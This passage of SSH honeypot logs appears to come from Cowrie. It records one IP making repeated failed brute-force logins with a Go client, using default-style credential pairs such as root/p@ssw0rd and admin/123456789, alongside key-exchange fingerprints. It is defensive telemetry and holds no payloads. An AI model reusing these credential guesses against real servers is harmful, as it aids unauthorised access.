{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:54.292621Z","src_ip":"45.156.87.253","session":"7cb65573b80f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1234","message":"login attempt [openclaw/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:54.533475Z","src_ip":"45.156.87.253","session":"7cb65573b80f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:55.765332Z","src_ip":"45.156.87.253","session":"7cb65573b80f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33632,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1cf8ffa8fb2","protocol":"ssh","message":"New connection: 45.156.87.253:33632 (10.17.0.5:22) [session: e1cf8ffa8fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:57.524806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:57.530731Z","src_ip":"45.156.87.253","session":"e1cf8ffa8fb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:57.613201Z","src_ip":"45.156.87.253","session":"e1cf8ffa8fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:57.861303Z","src_ip":"45.156.87.253","session":"e1cf8ffa8fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:58.946141Z","src_ip":"45.156.87.253","session":"e1cf8ffa8fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52640,"dst_ip":"10.17.0.5","dst_port":22,"session":"f294062b0b64","protocol":"ssh","message":"New connection: 45.156.87.253:52640 (10.17.0.5:22) [session: f294062b0b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:00.994081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:00.997899Z","src_ip":"45.156.87.253","session":"f294062b0b64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:01.079874Z","src_ip":"45.156.87.253","session":"f294062b0b64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:01.326235Z","src_ip":"45.156.87.253","session":"f294062b0b64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:02.410563Z","src_ip":"45.156.87.253","session":"f294062b0b64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52648,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef443af961d7","protocol":"ssh","message":"New connection: 45.156.87.253:52648 (10.17.0.5:22) [session: ef443af961d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:04.311935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:04.316129Z","src_ip":"45.156.87.253","session":"ef443af961d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:04.396955Z","src_ip":"45.156.87.253","session":"ef443af961d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"12345678","message":"login attempt [admin1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:04.642359Z","src_ip":"45.156.87.253","session":"ef443af961d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:05.817620Z","src_ip":"45.156.87.253","session":"ef443af961d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52656,"dst_ip":"10.17.0.5","dst_port":22,"session":"69530a37407f","protocol":"ssh","message":"New connection: 45.156.87.253:52656 (10.17.0.5:22) [session: 69530a37407f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:07.584675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:07.589729Z","src_ip":"45.156.87.253","session":"69530a37407f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:07.689792Z","src_ip":"45.156.87.253","session":"69530a37407f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"123321","message":"login attempt [gabriel/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:08.089502Z","src_ip":"45.156.87.253","session":"69530a37407f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:09.173684Z","src_ip":"45.156.87.253","session":"69530a37407f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45684,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e47d7796f02","protocol":"ssh","message":"New connection: 45.156.87.253:45684 (10.17.0.5:22) [session: 8e47d7796f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:11.064484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:11.067788Z","src_ip":"45.156.87.253","session":"8e47d7796f02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:11.148526Z","src_ip":"45.156.87.253","session":"8e47d7796f02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:11.392316Z","src_ip":"45.156.87.253","session":"8e47d7796f02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:12.476439Z","src_ip":"45.156.87.253","session":"8e47d7796f02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45696,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b5c2bd8ea4c","protocol":"ssh","message":"New connection: 45.156.87.253:45696 (10.17.0.5:22) [session: 6b5c2bd8ea4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:14.357796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:14.361255Z","src_ip":"45.156.87.253","session":"6b5c2bd8ea4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:14.441125Z","src_ip":"45.156.87.253","session":"6b5c2bd8ea4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:14.682091Z","src_ip":"45.156.87.253","session":"6b5c2bd8ea4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:15.764406Z","src_ip":"45.156.87.253","session":"6b5c2bd8ea4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45724,"dst_ip":"10.17.0.5","dst_port":22,"session":"51d562b92c78","protocol":"ssh","message":"New connection: 45.156.87.253:45724 (10.17.0.5:22) [session: 51d562b92c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:17.820229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:17.873392Z","src_ip":"45.156.87.253","session":"51d562b92c78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:17.903948Z","src_ip":"45.156.87.253","session":"51d562b92c78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1234","message":"login attempt [alex/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:18.221905Z","src_ip":"45.156.87.253","session":"51d562b92c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:19.305432Z","src_ip":"45.156.87.253","session":"51d562b92c78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47534,"dst_ip":"10.17.0.5","dst_port":22,"session":"852416de3c6f","protocol":"ssh","message":"New connection: 45.156.87.253:47534 (10.17.0.5:22) [session: 852416de3c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:21.207527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:21.211340Z","src_ip":"45.156.87.253","session":"852416de3c6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 